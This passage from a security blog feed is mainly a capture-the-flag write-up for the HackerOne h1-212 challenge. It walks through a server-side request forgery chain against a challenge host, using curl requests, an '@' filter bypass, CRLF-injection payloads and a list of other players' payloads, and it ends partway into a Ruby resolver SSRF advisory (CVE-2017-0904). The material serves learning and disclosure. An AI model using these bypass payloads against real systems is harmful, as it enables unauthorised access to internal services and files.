&lt;img src="https://user-images.githubusercontent.com/18099289/32990226-15a65864-cd26-11e7-86e4-58ae264d870d.png" alt="HackerOne report" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;So there I was, after using highly-advanced techniques, I was left with a newly modified request that enabled me to send requests to the server.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl &amp;#39;http://admin.acme.org/index.php/login&amp;#39; -H &amp;#39;Host: admin.acme.org&amp;#39; -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0&amp;#39; -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; --compressed -H &amp;#39;Cookie: admin=yes&amp;#39; -H &amp;#39;DNT: 1&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -H &amp;#39;Connection: keep-alive&amp;#39; -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; -H &amp;#39;Cache-Control: max-age=0&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32786849-548f213e-c955-11e7-9ea0-020afcf24c44.png" alt="Kermit sipping tea" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Maybe it makes sense to the reader now why Ben was teasing us.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32835727-8a00a4c0-ca07-11e7-892a-4914dc9067e6.png" alt="Slack message from Ben" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;h2 id="step-3---server-side-request-forgery"&gt;Step 3 - Server-Side Request Forgery&lt;/h2&gt;
&lt;p&gt;Submitting the POST request from the previous section returned a domain missing error, which indicated that the request body had to contain some JSON with a domain attribute and value (&lt;code&gt;{&amp;quot;domain&amp;quot;:&amp;quot;hackerone.com&amp;quot;}&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32963072-12275c7c-cbcf-11e7-9631-ba656c6266e0.png" alt="Burp Suite" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;This means that the current issue we are trying to exploit is Server-Side Request Forgery (SSRF); our goal is to retrieve internal files and the flag is probably located on the internal network.&lt;/p&gt;
&lt;h2 id="step-4---part-1---initial-ideas-"&gt;Step 4 - Part 1 - Initial Ideas 💡&lt;/h2&gt;
&lt;p&gt;The errors that I was receiving when specifying a hostname in &lt;code&gt;{&amp;quot;domain&amp;quot;:&amp;quot;&amp;quot;}&lt;/code&gt; indicated that in order to achieve my goal of accessing internal files, I would need to somehow bypass a filter. My initial idea was to set up a domain ending in .com, due to the &lt;code&gt;{&amp;quot;error&amp;quot;:{&amp;quot;domain&amp;quot;:&amp;quot;incorrect value, .com domain expected&amp;quot;}}&lt;/code&gt; error message, and map it to a loopback address.&lt;/p&gt;
&lt;h2 id="intermission---bedtime-"&gt;Intermission - Bedtime 🛏&lt;/h2&gt;
&lt;p&gt;It was already getting late at this stage and I decided to go get some sleep in order to prepare for the next 4 steps. Lying in bed I could not keep the CTF challenges out of my mind. Jobert&amp;rsquo;s laugh echoed in the background as every step I took looped before my eyes.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;This is totally &lt;a href="https://x.com/jobertabma?ref_src=twsrc%5Etfw"&gt;@jobertabma&lt;/a&gt; and &lt;a href="https://x.com/NahamSec?ref_src=twsrc%5Etfw"&gt;@NahamSec&lt;/a&gt; watching the &lt;a href="https://x.com/hashtag/h1212ctf?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#h1212ctf&lt;/a&gt; action unfold. I think they’re enjoying this too much lol. &lt;a href="https://t.co/HRLjG5a5yv"&gt;pic.twitter.com/HRLjG5a5yv&lt;/a&gt;&lt;/p&gt;&amp;mdash; Luke Tucker (@luketucker) &lt;a href="https://x.com/luketucker/status/930223468099936257?ref_src=twsrc%5Etfw"&gt;November 13, 2017&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;h2 id="step-4---part-2---the-bypass"&gt;Step 4 - Part 2 - The Bypass&lt;/h2&gt;
&lt;p&gt;After getting some rest, I woke up the next morning excited to get right back on track. This time the main focus was Orange Tsai&amp;rsquo;s research. &amp;ldquo;There has to be some way to bypass the filter with an &lt;code&gt;@&lt;/code&gt; character.&amp;rdquo;, I thought to myself. The reason why it took me so long to bypass the filter was because I was appending the destination rather than prefixing it (e.g., &lt;code&gt;212.hackerone.com@127.0.0.1&lt;/code&gt;). Since the suffix did not end with a .com the &amp;ldquo;.com domain expected&amp;rdquo; error was returned. &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, and &lt;code&gt;&amp;amp;&lt;/code&gt; characters were all blacklisted. Therefore there had to be a way of bypassing the blacklist and include a .com in the suffix. As I hinted towards above, the trick was to prefix the destination as follows: &lt;code&gt;localhost@212.hackerone.com&lt;/code&gt;. By sending a request containing this payload the server would respond with a &lt;code&gt;read.php&lt;/code&gt; identifier which contained base64-encoded data of the content from the page being retrieved.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl &amp;#39;http://admin.acme.org/index.php/login&amp;#39; -H &amp;#39;Host: admin.acme.org&amp;#39; -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0&amp;#39; -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; --compressed -H &amp;#39;Cookie: admin=yes&amp;#39; -H &amp;#39;DNT: 1&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -H &amp;#39;Connection: keep-alive&amp;#39; -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; -H &amp;#39;Cache-Control: max-age=0&amp;#39; --data-binary $&amp;#39;{\&amp;#34;domain\&amp;#34;:\&amp;#34;localhost@212.hackerone.com\&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&amp;#34;next&amp;#34;:&amp;#34;\/read.php?id=1&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl &amp;#39;http://admin.acme.org/read.php?id=1&amp;#39; -H &amp;#39;Host: admin.acme.org&amp;#39; -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0&amp;#39; -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; --compressed -H &amp;#39;Cookie: admin=yes&amp;#39; -H &amp;#39;DNT: 1&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -H &amp;#39;Connection: keep-alive&amp;#39; -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; -H &amp;#39;Cache-Control: max-age=0&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&amp;#34;data&amp;#34;:&amp;#34;&amp;#34;} # Blank, because the file being requested is empty.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="step-5---port-scanning"&gt;Step 5 - Port Scanning&lt;/h2&gt;
&lt;p&gt;&lt;del&gt;This step required two little bash scripts, one to request each individual port and another to retrieve the ID&amp;rsquo;s contents. Port 1337 returned an unusual 404 response and as the number indicates, Jobert was having a laugh.&lt;/del&gt; Forget the port scanning bit. I totally guessed the port was 1337 and moved on to the next step.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl &amp;#39;http://admin.acme.org/index.php/login&amp;#39; -H &amp;#39;Host: admin.acme.org&amp;#39; -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0&amp;#39; -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; --compressed -H &amp;#39;Cookie: admin=yes&amp;#39; -H &amp;#39;DNT: 1&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -H &amp;#39;Connection: keep-alive&amp;#39; -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; -H &amp;#39;Cache-Control: max-age=0&amp;#39; --data-binary $&amp;#39;{\&amp;#34;domain\&amp;#34;:\&amp;#34;localhost:1337@212.hackerone.com\&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&amp;#34;next&amp;#34;:&amp;#34;\/read.php?id=2&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl &amp;#39;http://admin.acme.org/read.php?id=2&amp;#39; -H &amp;#39;Host: admin.acme.org&amp;#39; -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0&amp;#39; -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; --compressed -H &amp;#39;Cookie: admin=yes&amp;#39; -H &amp;#39;DNT: 1&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -H &amp;#39;Connection: keep-alive&amp;#39; -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; -H &amp;#39;Cache-Control: max-age=0&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&amp;#34;data&amp;#34;:&amp;#34;SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ echo &amp;#39;SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K&amp;#39; | base64 --decode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Hmm, where would it be?
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Please note that I only required two IDs for this and the image below is photoshopped.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32836550-76a462a6-ca0a-11e7-8a1e-53df538c4966.png" alt="Terminal" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;h2 id="step-6---massive-frustration-and-crlf"&gt;Step 6 - Massive Frustration and CRLF&lt;/h2&gt;
&lt;p&gt;What do CRLF and frustration have in common? I did not know either until I witnessed this final step. In order, to request the flag one had to exploit a CRLF issue that would force the server to ignore everything after the valid filename. As we will see in a bit this came to me as quite a surprise.&lt;/p&gt;
&lt;p&gt;I had a feeling that the flag would be located at &lt;code&gt;/flag&lt;/code&gt;, because earlier I had come across this little gem while playing around with the IP.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32990289-43304302-cd27-11e7-996d-da59b5f796ab.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;This part took me far longer than I would like to admit. The amount frustration had me staring at my screen like this:&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://camo.githubusercontent.com/ddc64da52be127f0c0abb710ff92eb1acbb971a4/68747470733a2f2f6d65646961312e74656e6f722e636f6d2f696d616765732f66303562336663373031373464356531326163643131663635653132303063612f74656e6f722e676966" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;At first I thought playing around with different encodings of &lt;code&gt;#&lt;/code&gt; would help make everything after &lt;code&gt;/flag&lt;/code&gt; useless; i.e., the request would retrieve &lt;code&gt;/flag&lt;/code&gt; and not &lt;code&gt;/flag@212...&lt;/code&gt;. Boy was I wrong! I threw every single possible encoding that I could come up with at that server. All of this manually. After every failed request that was made, I could see Jobert in my mind chuckling away with the logs pulled up on his monitor.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32785635-4d429576-c952-11e7-8f3d-4a849cdac9b9.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;That image was just stuck in my head. &amp;ldquo;What has Jobert done here to make things as difficult as possible for me?&amp;rdquo;, I was asking myself. Time and time again I failed. That was until &lt;a href="https://twitter.com/yappare"&gt;yappare&lt;/a&gt;, who had already solved the CTF by then, gave me a subtle hint that put me right back on track. &amp;ldquo;CR&amp;rdquo;, they said. &amp;ldquo;CR?&amp;rdquo;, I thought to myself, &amp;ldquo;What is CR?&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://camo.githubusercontent.com/2de8830b806737d783559bc16e113e05fc6c5e64/68747470733a2f2f692e67697068792e636f6d2f6d656469612f3178594b55485250364e7664432f67697068792e676966" alt="Worried Kermit" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Disc scratch&lt;/em&gt; &amp;hellip; CRLF!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://camo.githubusercontent.com/75a104fc473eb371d4f7201870fd78f7aee93855/687474703a2f2f6769662d66696e6465722e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031342f30382f4b65726d69742d7468652d46726f672d54616b65732d7468652d414c532d4963652d4275636b65742d4368616c6c656e67652e676966" alt="Kermit splashed with water" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;So now I needed to play around with CR and LF characters and see how the server responds. This did still require a little bit of trial and error (understatement of the year), but in the end, I had a cURL request that would return a valid &lt;code&gt;read.php&lt;/code&gt; ID and requested the &lt;code&gt;flag&lt;/code&gt; filename.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl &amp;#39;http://admin.acme.org/index.php/login&amp;#39; -H &amp;#39;Host: admin.acme.org&amp;#39; -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0&amp;#39; -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; --compressed -H &amp;#39;Cookie: admin=yes&amp;#39; -H &amp;#39;DNT: 1&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -H &amp;#39;Connection: keep-alive&amp;#39; -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; -H &amp;#39;Cache-Control: max-age=0&amp;#39; --data-binary $&amp;#39;{\&amp;#34;domain\&amp;#34;:\&amp;#34;localhost:1337/flag\\n\\r\\n\\r212.hackerone.com\&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now I will throw in some fancy LaTeX formulas to explain the very final step and to look I understand maths.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32990532-124af5a8-cd2b-11e7-8e43-0971327649ae.png" alt="Maths formula" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32784209-7efdf820-c94e-11e7-8baf-c524bdf79ff4.png" alt="Maths formula" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Basically, for those of you who do not understand maths, what I am trying to say is that for every valid CRLF returned ID (&lt;strong&gt;&lt;em&gt;i&lt;/em&gt;&lt;/strong&gt;), we must deduct 2 to be able to retrieve the base64-encoded flag (&lt;strong&gt;&lt;em&gt;f&lt;/em&gt;&lt;/strong&gt;). For instance, if we get &lt;code&gt;read.php?=34&lt;/code&gt; we must send a GET request to &lt;code&gt;read.php?=32&lt;/code&gt;. This behaviour was very unusual and would only take place when you supplied the server with a valid CRLF bypass. I assume this was another of &lt;del&gt;Jobert&amp;rsquo;s&lt;/del&gt; the engineer&amp;rsquo;s clever little tricks to put the hacker off.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl &amp;#39;http://admin.acme.org/read.php?id=32&amp;#39; -H &amp;#39;Host: admin.acme.org&amp;#39; -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0&amp;#39; -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; --compressed -H &amp;#39;Cookie: admin=yes&amp;#39; -H &amp;#39;DNT: 1&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -H &amp;#39;Connection: keep-alive&amp;#39; -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; -H &amp;#39;Cache-Control: max-age=0&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&amp;#34;data&amp;#34;:&amp;#34;RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ echo &amp;#39;RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK&amp;#39; | base64 --decode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{% raw %}FLAG: CF,2dsV\/]fRAYQ.TDEp`w&amp;#34;M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\S):f%=P[Y@nka=&amp;lt;tqhnF&amp;lt;aq=K5:BC@Sb*{[%z&amp;#34;+@yPb/nfFna&amp;lt;e$hv{p8r2[vMMF52y:z/Dh;{6{% endraw %}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;
&lt;img src="https://camo.githubusercontent.com/27ac0e868cb26c3d24dc34fadb19fa9bf5c8f2ed/687474703a2f2f33312e6d656469612e74756d626c722e636f6d2f63326635396664386335623162373865623932613939393636353830393638322f74756d626c725f6e69746377675451636731746a326c6a386f315f3430302e676966" alt="Kermit celebrating" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;h2 id="comparing-my-solution-to-those-of-other-competitors"&gt;Comparing my solution to those of other competitors&lt;/h2&gt;
&lt;p&gt;After submitting the flag to HackerOne, I helped some fellow competitors get back on track and even offered to review their write-ups. The beauty in doing this is not only do you build friendships with fellow researchers, you get some insight into the areas that other people might have struggled with. Interestingly, the CRLF step could have been solved in various ways. To give the reader a better idea of these CRLF payloads I have put together this section containing the payloads that impressed me including my basic descriptions.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@TomNomNom
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Payload: localhost:1337/flag\u000a212.something.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description: Tom demonstrated that it was possible to accomplish the same solution as I had arrived to by simply using the Unicode value. I had come across this while playing around with different encodings of # as mentioned in section 6.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@Alyssa_Herrera_ &amp;amp; @streaak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;----------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Payload: 212.\nlocalhost:80\n.com &amp;amp; 212\n127.0.0.1\n.com respectively.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description: These particular CRLF payloads caught me by surprise. I had not thought of simply surrounding the vital part of the URL with line feed characters.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="conclusion---what-did-i-learn"&gt;Conclusion - What did I learn?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This CTF really taught me the importance of chaining issues in order to increase the impact. Looking back, any of these steps could have been present in a real-world hacking scenario and had I stopped at any point I would have missed out on a great opportunity and reward.&lt;/li&gt;
&lt;li&gt;The challenges also taught me that it never hurts to ask for a little nudge if you are stuck somewhere. This is especially important when it comes to bug bounty hunting. We should be able to figure out most things on our own to some degree, but do not be afraid to ask someone for help when all else fails.&lt;/li&gt;
&lt;li&gt;Read everything very carefully. Although I learned this during the last CTF, I was reminded of the importance of taking notes of details again during this CTF.&lt;/li&gt;
&lt;li&gt;Remember to take a break once in a while. It is amazing what you can achieve when you get back on track after taking break and getting some rest.&lt;/li&gt;
&lt;li&gt;Take notes! That way when you go down the wrong path, you can easily work your way back to where you left off. I went down many paths and every time I would take notes of what my thought process was. This was also especially helpful when writing this document.&lt;/li&gt;
&lt;li&gt;This CTF also gave me an opportunity to use my newly acquired skills from Jobert&amp;rsquo;s previous CTF and put them to the test. This indicates that I am improving and learning as I go along.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id="references"&gt;References&lt;/h1&gt;
&lt;p&gt;[1] [Photograph by USA Network/NBCU]. (n.d.). Retrieved November 19, 2017, from &lt;a href="http://www.usanetwork.com/mrrobot"&gt;http://www.usanetwork.com/mrrobot&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[2] &lt;em&gt;It&amp;rsquo;s Always Sunny In Philadelphia&lt;/em&gt;. (n.d.). FXX. Retrieved November 19, 2017.&lt;/p&gt;
&lt;p&gt;[3] Pai, R. (2014, April 16). Reflected File Download attack allows attacker to &amp;lsquo;upload&amp;rsquo; executables to hackerone.com domain. Retrieved November 19, 2017, from &lt;a href="https://hackerone.com/reports/50658"&gt;https://hackerone.com/reports/50658&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[4] &lt;em&gt;Be More Tea&lt;/em&gt; [Photograph]. (2017, November 19). Lipton/Disney.&lt;/p&gt;
&lt;p&gt;[5] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.&lt;/p&gt;
&lt;p&gt;[6] [Photograph]. (n.d.). HackerOne, Inc.&lt;/p&gt;
&lt;p&gt;[7, 8, 9] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.&lt;/p&gt;
&lt;script
src="https://code.jquery.com/jquery-3.3.1.min.js"
integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"&gt;&lt;/script&gt;
&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/waypoints/4.0.1/jquery.waypoints.js" integrity="sha384-LImtStOSlnBY4sWwuooVfAH2Oxa3eZ27sLjHhRaPviMxe1uWchubYBsQPOlj5zox" crossorigin="anonymous"&gt;&lt;/script&gt;
&lt;script&gt;
var waypoint = new Waypoint({
element: document.getElementById('intermission---bedtime-'),
handler: function(direction) {
$('body').addClass('bedtime');
$('body').removeClass('morning');
},
offset: '30%'
});
var waypoint = new Waypoint({
element: document.getElementById('step-4---part-2---the-bypass'),
handler: function(direction) {
$('body').addClass('morning');
$('body').removeClass('bedtime');
},
offset: '30%'
});
var waypoint = new Waypoint({
element: document.getElementById('step-4---part-1---initial-ideas-'),
handler: function(direction) {
$('body').addClass('morning');
$('body').removeClass('bedtime');
},
offset: '30%'
});
&lt;/script&gt;</description></item><item><title>Bypassing Server-Side Request Forgery filters by abusing a bug in Ruby's native resolver</title><link>https://edoverflow.com/2017/ruby-resolv-bug/</link><pubDate>Thu, 09 Nov 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/ruby-resolv-bug/</guid><description>&lt;!-- ==============================================
https://user-images.githubusercontent.com/18099289/32407739-8a5e27ee-c18d-11e7-9bfb-4a5d09f821a0.png
================================================= --&gt;
&lt;h2 id="summary"&gt;Summary&lt;/h2&gt;
&lt;p&gt;This is a security advisory for a bug that I discovered in &lt;code&gt;Resolv::getaddresses&lt;/code&gt; that enabled me to bypass multiple Server-Side Request Forgery filters. Applications such as GitLab and HackerOne were affected by this bug. The disclosure of all reports referenced in this advisory follow &lt;a href="https://www.hackerone.com/disclosure-guidelines"&gt;HackerOne&amp;rsquo;s Vulnerability Disclosure Guidelines&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This bug was assigned &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0904"&gt;CVE-2017-0904&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="vulnerability-details"&gt;Vulnerability Details&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Resolv::getaddresses&lt;/code&gt; is OS-dependent, therefore by playing around with different IP formats one can return blank values. This bug can be abused to bypass exclusion lists often used to protect against SSRF.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;💻 Machine 1&lt;/th&gt;
&lt;th&gt;💻 Machine 2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ruby 2.3.3p222 (2016-11-21) [x86_64-linux-gnu]&lt;/td&gt;
&lt;td&gt;ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;💻 Machine 1&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;irb(main):002:0&amp;gt; Resolv.getaddresses(&amp;#34;127.0.0.1&amp;#34;)
=&amp;gt; [&amp;#34;127.0.0.1&amp;#34;]
irb(main):003:0&amp;gt; Resolv.getaddresses(&amp;#34;localhost&amp;#34;)
=&amp;gt; [&amp;#34;127.0.0.1&amp;#34;]
irb(main):004:0&amp;gt; Resolv.getaddresses(&amp;#34;127.000.000.1&amp;#34;)
=&amp;gt; [&amp;#34;127.0.0.1&amp;#34;]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;💻 Machine 2&lt;/p&gt;
